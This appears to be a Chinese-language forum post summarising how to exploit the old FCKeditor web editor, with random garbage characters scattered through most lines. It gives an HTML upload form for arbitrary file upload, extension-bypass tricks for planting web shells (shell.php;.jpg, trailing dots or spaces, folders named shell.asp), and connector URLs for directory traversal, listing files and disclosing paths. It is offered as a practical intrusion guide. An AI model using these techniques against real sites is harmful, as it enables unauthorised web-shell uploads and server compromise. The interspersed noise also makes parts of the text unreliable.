|
Fckeditor漏洞利用总结 查看编辑器版本& k+ L' s" R% n8 t k( f7 W
FCKeditor/_whatsnew.html+ T! x3 |: X) r+ y, O. O0 f
————————————————————————————————————————————————————————————— 2. Version 2.2 版本
$ j/ h. B% C# B, z* B9 r2 cApache+linux 环境下在上传文件后面加个.突破!测试通过。6 n4 `9 r9 W1 N) ]
————————————————————————————————————————————————————————————— 3.Version <=2.4.2 For php 在处理PHP 上传的地方并未对Media 类型进行上传文件类型的控制,导致用户上传任意文件!将以下保存为html文件,修改action地址。
5 _. C* o! K6 q2 e<form id="frmUpload" enctype="multipart/form-data"" v# y9 x2 I- ^* q( {" E+ m; O% Q
action="http://www.site.com/FCKeditor/editor/filemanager/upload/php/upload.php?Type=Media" method="post">Upload a new file:<br>; E( T' O. }' w
<input type="file" name="NewFile" size="50"><br>
7 d; W, e2 f& U: W5 |3 J& P4 d7 j<input id="btnUpload" type="submit" value="Upload">0 }. K% j1 C7 n( g
</form>
4 B R7 Q+ P0 ~' ^/ P2 Z4 x& T————————————————————————————————————————————————————————————— 4.FCKeditor 文件上传“.”变“_”下划线的绕过方法' l* W, e. n1 P/ ?; ~6 @- T
很多时候上传的文件例如:shell.php.rar 或shell.php;.jpg 会变为shell_php;.jpg 这是新版FCK 的变化。
* x- v4 \/ n$ `* @* b 4.1:提交shell.php+空格绕过1 u9 G6 u) [# h3 w
不过空格只支持win 系统 *nix 是不支持的[shell.php 和shell.php+空格是2 个不同的文件 未测试。+ q2 I# l) V5 G
4.2:继续上传同名文件可变为shell.php;(1).jpg 也可以新建一个文件夹,只检测了第一级的目录,如果跳到二级目录就不受限制。
1 k+ E9 O7 @4 D+ A————————————————————————————————————————————————————————————— 5. 突破建立文件夹
$ B& ^: ?" ^: k$ j/ x, ^5 _FCKeditor/editor/filemanager/connectors/asp/connector.asp?Command=CreateFolder&Type=Image&CurrentFolder=%2Fshell.asp&NewFolderName=z&uuid=1244789975684- |( u3 }9 f8 U( p1 Z8 z T
FCKeditor/editor/filemanager/browser/default/connectors/asp/connector.asp?Command=CreateFolder&CurrentFolder=/&Type=Image&NewFolderName=shell.asp
. b5 I* }5 z' z: Y- l, C————————————————————————————————————————————————————————————— 6. FCKeditor 中test 文件的上传地址
. f$ D% T9 P. c2 U) @: `FCKeditor/editor/filemanager/browser/default/connectors/test.html
, Q# O7 B# C3 E! tFCKeditor/editor/filemanager/upload/test.html
7 v, n1 I7 E4 `# I u1 lFCKeditor/editor/filemanager/connectors/test.html/ |' W% q$ _2 n; `8 D
FCKeditor/editor/filemanager/connectors/uploadtest.html
) E% k( h( L1 D" v& o* M—————————————————————————————————————————————————————————————% O) X; ^6 V4 L/ @
7.常用上传地址/ H; y# y- h) c: X; J0 Y
FCKeditor/editor/filemanager/browser/default/connectors/asp/connector.asp?Command=GetFoldersAndFiles&Type=Image&CurrentFolder=/
$ F4 u+ M& r# Y; A. t- G& cFCKeditor/editor/filemanager/browser/default/browser.html?type=Image&connector=connectors/asp/connector.asp
' F/ A& W- ]. KFCKeditor/editor/filemanager/browser/default/browser.html?Type=Image&Connector=http://www.site.com%2Ffckeditor%2Feditor%2Ffilemanager%2Fconnectors%2Fphp%2Fconnector.php (ver:2.6.3 测试通过)
1 Z" L% P `2 u1 s% X, iJSP 版:/ f2 O2 |8 c* \% k/ e* }
FCKeditor/editor/filemanager/browser/default/browser.html?Type=Image&Connector=connectors/jsp/connector.jsp
# k6 g* F/ @# y" B& v+ ^注意红色部分修改为FCKeditor 实际使用的脚本语言,蓝色部分可以自定义文" O, J5 T+ n: g1 v# T+ d+ V
件夹名称也可以利用../..目录遍历,紫色部分为实际网站地址。6 ]; [% y5 C$ b- }% r
————————————————————————————————————————————————————————————— 8.其他上传地址
& {; }7 V6 Q2 k' ]9 ^FCKeditor/_samples/default.html5 m! S9 g. \5 A. O( @9 \! y! L0 I
FCKeditor/_samples/asp/sample01.asp
$ }7 P& e7 ?$ u; R* ?$ @/ j* G8 b6 FFCKeditor/_samples/asp/sample02.asp
' n: U* F& n; {9 y" QFCKeditor/_samples/asp/sample03.asp8 }, H4 P! S( ^* }( }4 Y( w
FCKeditor/_samples/asp/sample04.asp* p% ^3 v6 a3 R0 K* B5 D$ `0 `
一般很多站点都已删除_samples 目录,可以试试。
% N& \) a: Z8 h1 w6 c: [FCKeditor/editor/fckeditor.html 不可以上传文件,可以点击上传图片按钮再选择浏览服务器即可跳转至可上传文件页。
/ L: J5 O% j. @/ [5 J————————————————————————————————————————————————————————————— 9.列目录漏洞也可助找上传地址# Z: ?; a: \# a) C
Version 2.4.1 测试通过/ n; g- L- O0 k3 h& k8 l/ s
修改CurrentFolder 参数使用 ../../来进入不同的目录5 H5 T2 l8 P, B5 ?( m4 {
/browser/default/connectors/aspx/connector.aspx?Command=CreateFolder&Type=Image&CurrentFolder=../../..%2F&NewFolderName=shell.asp
) U% x! u+ z5 V J# X根据返回的XML 信息可以查看网站所有的目录。
% k+ l- E" W8 t( V! W( i k: tFCKeditor/editor/filemanager/browser/default/connectors/aspx/connector.aspx?Command=GetFoldersAndFiles&Type=Image&CurrentFolder=%2F
3 D, D% m5 w: T) _. N1 U也可以直接浏览盘符:
' T% n* ]1 s& h: g4 S6 TJSP 版本:/ w M* l! O7 Y" @) {+ y0 t7 y2 Z
FCKeditor/editor/filemanager/browser/default/connectors/jsp/connector?Command=GetFoldersAndFiles&Type=&CurrentFolder=%2F" a7 F* E& e I
————————————————————————————————————————————————————————————— 10.爆路径漏洞0 N5 s1 A. h$ V+ x8 M& ~
FCKeditor/editor/filemanager/browser/default/connectors/aspx/connector.aspx?Command=GetFoldersAndFiles&Type=File&CurrentFolder=/shell.asp9 C* r2 n% N3 a0 ]4 x# h! g( B$ a
————————————————————————————————————————————————————————————— 11. FCKeditor 被动限制策略所导致的过滤不严问题4 b1 x$ o i6 f' D
影响版本: FCKeditor x.x <= FCKeditor v2.4.39 n3 x) C/ z" N/ X
脆弱描述:; Q1 ?7 A& ^! u
FCKeditor v2.4.3 中File 类别默认拒绝上传类型:
; a% u$ g* l) b1 E. L. N6 v9 F& C+ rhtml|htm|php|php2|php3|php4|php5|phtml|pwml|inc|asp|aspx|ascx|jsp|cfm|cfc|pl|bat|exe|com|dll|vbs|js|reg|cgi|htaccess|asis|sh|shtml|shtm|phtm& u8 j3 k- f7 b0 @
Fckeditor 2.0 <= 2.2 允许上传asa、cer、php2、php4、inc、pwml、pht 后缀的文件上传后它保存的文件直接用的$sFilePath = $sServerDir . $sFileName,而没有使用$sExtension 为后缀.直接导致在win 下在上传文件后面加个.来突破[未测试]!% S; F% N) m% h% w% O6 [6 v
而在apache 下,因为"Apache 文件名解析缺陷漏洞"也可以利用之,另建议其他上传漏洞中定义TYPE 变量时使用File 类别来上传文件,根据FCKeditor 的代码,其限制最为狭隘。
6 E x! j- B% S5 x, T, h; | 在上传时遇见可直接上传脚本文件固然很好,但有些版本可能无法直接上传可以利用在文件名后面加.点或空格绕过,也可以利用2003 解析漏洞建立xxx.asp文件夹或者上传xx.asp;.jpg! |